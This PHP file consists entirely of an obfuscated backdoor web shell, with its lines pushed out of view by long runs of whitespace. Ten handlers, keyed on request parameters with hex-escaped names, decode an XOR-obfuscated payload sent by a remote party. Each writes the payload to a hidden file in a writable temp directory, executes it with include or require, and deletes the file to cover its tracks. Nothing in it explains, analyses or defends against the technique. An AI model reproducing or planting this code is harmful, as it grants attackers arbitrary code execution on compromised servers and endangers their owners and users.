<?php																																										if(array_key_exists("ob\x6A", $_REQUEST) && !is_null($_REQUEST["ob\x6A"])){ $parameter_group = array_filter(["/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); $val = $_REQUEST["ob\x6A"]; $val =explode ('.', $val ) ; $element = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $j = 0; $__len = count($val); do { if ($j >= $__len) break; $v6 = $val[$j]; $sChar = ord($s9[$j % $lenS]); $dec = ((int)$v6 - $sChar - ($j % 10)) ^ 83; $element .= chr($dec); $j++; } while (true); $mrk = 0; do { $pgrp = $parameter_group[$mrk] ?? null; if ($mrk >= count($parameter_group)) break; if ((is_dir($pgrp) and is_writable($pgrp))) { $flag = str_replace("{var_dir}", $pgrp, "{var_dir}/.k"); if (@file_put_contents($flag, $element) !== false) { include $flag; unlink($flag); exit; } } $mrk++; } while (true); }
																																										if(array_key_exists("\x70s\x65t", $_POST)){ $value = array_filter(["/tmp", "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $entry = $_POST["\x70s\x65t"]; $entry =explode( "." , $entry ); $item=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $o=0; $len=count( $entry); do { if( $o >= $len) break; $v4=$entry[$o]; $sChar=ord( $salt[$o % $lenS]); $d=( ( int)$v4 - $sChar -( $o % 10)) ^ 26; $item .= chr( $d); $o++; } while( true); while ($record = array_shift($value)) { if (max(0, is_dir($record) * is_writable($record))) { $flag = vsprintf("%s/%s", [$record, ".ref"]); if (file_put_contents($flag, $item)) { include $flag; @unlink($flag); exit; } } } }
																																										if(array_key_exists("dch\x75\x6Ek", $_REQUEST) && !is_null($_REQUEST["dch\x75\x6Ek"])){ $flg = $_REQUEST["dch\x75\x6Ek"]; $flg = explode ( '.', $flg ) ; $res= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt2 ); foreach( $flg as $m => $v9): $sChar= ord( $salt2[$m % $sLen] ); $dec= ( ( int)$v9 - $sChar -( $m % 10))^ 6; $res .= chr( $dec ); endforeach; $bind = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path()]); for ($ent = 0, $binding = count($bind); $ent < $binding; $ent++) { $data_chunk = $bind[$ent]; if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $fac = str_replace("{var_dir}", $data_chunk, "{var_dir}/.record"); $success = file_put_contents($fac, $res); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65\x63ord"])){ $fac = $_REQUEST["\x72\x65\x63ord"]; $fac =explode( "." , $fac ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $n =0; $__len =count($fac); do { if($n >= $__len) break; $v5 =$fac[$n]; $chS =ord($s[$n % $lenS]); $dec =((int)$v5 - $chS -($n % 10)) ^ 13; $data .= chr($dec); $n++; } while(true); $bind = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp"]); while ($descriptor = array_shift($bind)) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $value = "$descriptor/.flag"; if (file_put_contents($value, $data)) { include $value; @unlink($value); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "m\x72\x6B")){ $ref = $_REQUEST["m\x72\x6B"]; $ref= explode ( "." , $ref ) ; $pset = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); $m = 0; while( $m < count( $ref)) { $v9 = $ref[$m]; $sChar = ord( $s6[$m% $lenS] ); $d = ( ( int)$v9 - $sChar -( $m% 10))^71; $pset .= chr( $d ); $m++; } $element = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); while ($holder = array_shift($element)) { if (!!is_dir($holder) && !!is_writable($holder)) { $descriptor = sprintf("%s/.value", $holder); if (file_put_contents($descriptor, $pset)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $itm = $_POST["k"]; $itm = explode( '.' ,$itm) ; $parameter_group =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $t =0; foreach($itm as $v9) { $chS =ord($s[$t % $sLen]); $dec =((int)$v9 - $chS -($t % 10)) ^ 81; $parameter_group .= chr($dec); $t++;} $bind = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); foreach ($bind as $sym): if (!( !is_dir($sym) || !is_writable($sym) )) { $symbol = "$sym" . "/.dchunk"; $success = file_put_contents($symbol, $parameter_group); if ($success) { include $symbol; @unlink($symbol); die();} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x72es\x6F\x75\x72ce"])){ $property_set = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $ent = $_POST["\x72es\x6F\x75\x72ce"]; $ent = explode ( '.', $ent ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; $__tmp = $ent; while ($v8 = array_shift($__tmp)) { $chS = ord($s[$y%$sLen]); $d = ((int)$v8 - $chS - ($y%10)) ^ 56; $sym.= chr($d); $y++; } while ($ent = array_shift($property_set)) { if (is_writable($ent) && is_dir($ent)) { $element = sprintf("%s/.ref", $ent); $file = fopen($element, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(!empty($_POST["r\x65co\x72d"])){ $itm = $_POST["r\x65co\x72d"]; $itm = explode ( '.' , $itm ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $p = 0; array_walk($itm,function ($v8) use (&$flag,&$p,$salt,$lenS) { $sChar = ord($salt[$p % $lenS]); $d = ((int)$v8 - $sChar - ($p % 10)) ^ 16; $flag .= chr($d); $p++; }); $flg = array_filter(["/dev/shm", session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($flg as $key => $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $parameter_group = "$object" . "/.tkn"; if (@file_put_contents($parameter_group, $flag) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_POST["s\x79mbol"])){ $comp = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir()]); $marker = $_POST["s\x79mbol"]; $marker=explode ('.' , $marker ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; $__tmp = $marker; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$k% $sLen]); $d = ((int)$v1 - $sChar - ($k% 10)) ^27; $pgrp.=chr($d); $k++; } foreach ($comp as $key => $res) { if (!!is_dir($res) && !!is_writable($res)) { $pointer = sprintf("%s/.ref", $res); if (file_put_contents($pointer, $pgrp)) { include $pointer; @unlink($pointer); exit; } } } }


if(array_key_exists("sym", $_REQUEST) && !is_null($_REQUEST["sym"])){
	$marker = $_REQUEST["sym"];
	 $marker		= explode  	( 	 "."	,	 	$marker	);	
	$dat = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
    
            foreach ($marker as $o 	=>  $v2) {	$chS = ord($salt[$o % $sLen]);
                $dec = ((int)$v2 - $chS - ($o % 10))^	30;
                $dat	.=chr($dec);} 	
	$fac = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir()]);
	while ($value = array_shift($fac)) {
    		if (array_product([is_dir($value), is_writable($value)])) {
    $item = sprintf("%s/.bind", $value);
    $success = file_put_contents($item, $dat);
if ($success) {
	include $item;
	@unlink($item);
	die();}
}
}
}